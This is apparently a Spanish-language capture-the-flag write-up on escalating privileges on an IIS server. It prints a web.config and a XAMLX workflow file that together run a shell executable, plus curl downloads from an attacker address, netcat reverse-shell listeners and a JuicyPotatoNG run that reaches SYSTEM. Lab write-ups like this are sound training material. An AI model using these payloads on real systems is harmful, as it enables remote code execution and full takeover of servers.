Ya que corre un IIS podriamos pensar en subir un archivo ASPX para ejecutar comandos y bajo el contexto de una cuenta de servicio deberiamos tener el SeImpersonatePrivilege habilitado, sin embargo esta via fue parcheada

Buscando posibles formas de ejecutar comandos en el IIS llegamos a una investigación que nos muestra una posible forma de ejecutar comandos con archivos xamlx, solo necesitaremos los 2 archivos que nos dan, el web.config con la configuración y un archivo xamlx que nos ejecute como comando el shell.exe

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
  <system.webServer>
    <handlers accessPolicy="Read, Script, Write">
      <add name="xamlx" path="*.xamlx" verb="*" type="System.Xaml.Hosting.XamlHttpHandlerFactory, System.Xaml.Hosting, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" modules="ManagedPipelineHandler" requireAccess="Script" preCondition="integratedMode" />  
      <add name="xamlx-Classic" path="*.xamlx" verb="*" modules="IsapiModule" scriptProcessor="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_isapi.dll" requireAccess="Script" preCondition="classicMode,runtimeVersionv4.0,bitness64" />
    </handlers>
    <validation validateIntegratedModeConfiguration="false" />
  </system.webServer>
</configuration>

<WorkflowService ConfigurationName="Service1" Name="Service1" xmlns="http://schemas.microsoft.com/netfx/2009/xaml/servicemodel" xmlns:p="http://schemas.microsoft.com/netfx/2009/xaml/activities" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:p1="http://schemas.microsoft.com/netfx/2009/xaml/activities" >  
  <p:Sequence DisplayName="Sequential Service">
    <TransactedReceiveScope Request="{x:Reference __r0}">
      <p1:Sequence >
        <SendReply DisplayName="SendResponse" >
          <SendReply.Request>
            <Receive x:Name="__r0" CanCreateInstance="True" OperationName="SubmitPurchasingProposal" Action="testme" />
          </SendReply.Request>
          <SendMessageContent>
            <p1:InArgument x:TypeArguments="x:String">[System.Diagnostics.Process.Start("cmd.exe", "/c C:\ProgramData\shell.exe").toString()]</p1:InArgument>
          </SendMessageContent>
        </SendReply>
      </p1:Sequence>
    </TransactedReceiveScope>
  </p:Sequence>
</WorkflowService>

Ya con estos archivos los subimos al equipo en el directorio C:\inetpub\wwwroot

PS C:\inetpub\wwwroot> curl 10.10.14.10/web.config -o web.config  
PS C:\inetpub\wwwroot> curl 10.10.14.10/shell.xamlx -o shell.xamlx  
PS C:\inetpub\wwwroot>

Ahora en la pagina por defecto de IIS por http deberiamos poder acceder al archivo shell.xamlx y deberia de interpretarse correctamente en la web

Finalmente enviamos una petición tal y como se nos muestra en la investigación

Al enviarla se ejecuta el shell.exe que aunque nos envia una shell nuevamente como yoshihide bajo el contexto del servicio tiene el SeImpersonatePrivilege

❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.158
Windows PowerShell running as user DC$ on DC
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\windows\system32\inetsrv> whoami
streamio\yoshihide
PS C:\windows\system32\inetsrv> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State   
============================= ========================================= ========  
SeMachineAccountPrivilege     Add workstations to domain                Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

PS C:\windows\system32\inetsrv>

Con este privilegio podemos usar JuicyPotatoNG para asi poder suplantar al usuario nt authority\system y ejecutar nuevamente el shell.exe que enviara una shell

PS C:\ProgramData> .\JuicyPotatoNG.exe -t * -p shell.exe

	 JuicyPotatoNG
	 by decoder_it & splinter_code

[*] Testing CLSID {854A20FB-2D44-457D-992F-EF13785D2B51} - COM server port 10247 
[+] authresult success {854A20FB-2D44-457D-992F-EF13785D2B51};NT AUTHORITY\SYSTEM;Impersonation  
[+] CreateProcessAsUser OK
[+] Exploit successful! 

PS C:\ProgramData>

Al hacerlo recibimos la shell de este usuario con maximos privilegios en el equipo

❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.158
Windows PowerShell running as user DC$ on DC
Copyright (C) Microsoft Corporation. All rights reserved.  

PS C:\> whoami
nt authority\system
PS C:\>